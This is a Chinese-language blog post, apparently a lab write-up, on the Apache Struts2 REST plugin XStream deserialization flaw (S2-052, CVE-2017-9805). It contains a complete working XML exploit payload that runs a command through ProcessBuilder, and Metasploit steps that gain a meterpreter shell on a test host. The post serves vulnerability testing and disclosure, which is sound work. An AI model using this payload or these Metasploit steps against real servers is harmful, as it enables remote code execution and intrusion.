Struts2 S2-052 RCE简单测试

本文由玄魂和 方块K 合写。


不太愿意跟风写类似的文章,网友“方块K” 投了一篇相关文章过来,但是略显简略,我重新进行了扩展。

参考了网上的相关文章,自己重新做 实验,算不上原创。

1.1 简介

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

参考: https://cwiki.apache.org/confluence/display/WW/S2-052

https://lgtm.com/blog/apache_struts_CVE-2017-9805

1.2 漏洞分析

根据补丁分析, 构造相对应的漏洞检测数据包。使用调试工具分析,发现Action经过REST插件处理时会被ContentTypeInterceptor这个类拦截,进入intercept方法如下图所示:

这个Intercept拦截方法很重要,分三步:

第一步:getHandlerForRequest方法会判断提交的请求类型,如果是XML的话就交给XStreamHandler调用toObject方法

第二步:如果浏览器提交的数据包长度大于0的话就获取其输入流,然后将数据包生成一个InputStreamReader对象也就是reader

第三步:调用XStreamHandler的toObject方法将reader数据流进行xml反序列化。

这里XStream并没有对reader的内容进行验证,导致反序列化漏洞。

使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码,导致服务器被攻陷。

下面我们进行简单的测试.

1.3 漏洞测试

测试环境,我这里使用docker,在我的远程vps主机上先安装了docker,然后拉取测试镜像。

docker pull medicean/vulapps:s_struts2_s2-052

拉取成功之后,运行环境:

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

在浏览器访问服务器的ip,按照文档应该访问http://ip/struts2-rest-showcase/,我访问之后报错,直接访问了orders。如下图:

这是一个简单的测试页面,单击按钮新建新的订单。

在 submit之前,先启动fiddler,捕获post请求。

下面我们拷贝原始请求内容,使用fiddler 的Composer功能,模拟发送请求。

先把Content-Type 改成 application/xml,然后body部分添加我们的攻击Payload。完整数据如下:

POST http://127.0.0.1/orders HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Content-Length: 36
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Content-Type:application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=D04B384774478A5895806A89610B8392

<?xml version="1.0" encoding="utf-8"?>

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command>
                        <string>/usr/bin/touch</string>
                        <string>/tmp/xuanhuntest</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

上面 的payload中,注意这一段:

这是我们的测试代码,如果成功在tmp目录下创建xuanhuntest文件,即可证明该漏洞,可以被利用执行任意命令。

下面发送模拟数据,然后到远程主机上,登录测试的docker实例,查看结果。

从结果上看,我们可以执行任意命令,危害还是很大的。

1.4 msf利用

下面是 方块k 做的实验。

测试环境

攻击者kali ip 192.168.189.128 被攻击者ubuntu 16.04 ip 192.168.189.137

测试步骤

参考文章http://blog.csdn.net/redfoxtao/article/details/73865395?utm_source=itdadao&utm_medium=referral 安装基本的web环境。

然后下载相应的漏洞程序

http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 然后将struts2-rest-showcase.war放进webapps中

到下面的地址下载msf扩展模块。

https://github.com/rapid7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb

存放到目录:

/usr/share/metasploit-framework/modules/exploits/multi/http/

启动msf,加载模块。

use exploit/multi/http/struts2_rest_xstream_052
set LHOST 192.168.189.128
set TARGETURI http://192.168.189.137:8080/struts2-rest-showcase/orders.xhtml
set RHOST 192.168.189.137
set RPORT 8080
run

拿到metereter之后,查看下ip,看是否是被攻击机的IP地址。

只是一个简单的测试,做个记录,仅供参考。

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2017-09-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏散尽浮华

进程管理利器-supervisor部署记录

一、简单介绍 supervisor是用来管理进程的一个工具,止于为什么要用supervisor,是因为相对于linux传统的进程管理方式来说,它有很多的优势: ...

3948
来自专栏流柯技术学院

android自动化之monkeyrunner

运行monkeyrunner之前必须先运行相应的模拟器或连上设备,不然monkeyrunner无法连接设备。

1452
来自专栏Script Boy (CN-SIMO)

Qt入门之基础篇 ( 二 ) :Qt项目建立、编译、运行和发布过程解析

转载请注明出处:CN_Simo。 题解:   本篇内容主讲Qt应用从创建到发布的整个过程,旨在帮助读者能够快速走进Qt的世界。 本来计划是讲解Qt源码静态编译...

4981
来自专栏王磊的博客

Twitter Storm安装配置(Ubuntu系统)单机版

要使用storm首先要安装以下工具:JDK、Python、zookeeper、zeromq、jzmq、storm (注:各个模块都是独立的,如果安装失败或者卡顿...

3225
来自专栏hotqin888的专栏

beego利用casbin进行权限管理——第一节 起步、测试

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/hotqin888/article/det...

4781
来自专栏我是攻城师

Java程序排查问题利器之Btrace

4374
来自专栏木头编程 - moTzxx

Laravel+Layer 图片上传功能整理

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/de...

8132
来自专栏pythonlove

FTP使用MariaDB完成虚拟用户认证

文件传输协议(英文:File Transfer Protocol,縮寫:FTP)是用於在網絡上進行文件傳輸的一套標準協議。它属于网络传输协议的应用层。FTP是一...

1124
来自专栏Java技术分享

PDF.js专题

前言     英文是github上的原文,找不到中文资料,我根据自己理解翻译的,有些词意思拿不准就直接把单词留在原地了,看这个文档应该可以凑合着用了。 PDF....

1.7K10
来自专栏黑泽君的专栏

c语言基础学习02_windows系统下的cmd命令

============================================================================= 注意...

3092

扫码关注云+社区

领取腾讯云代金券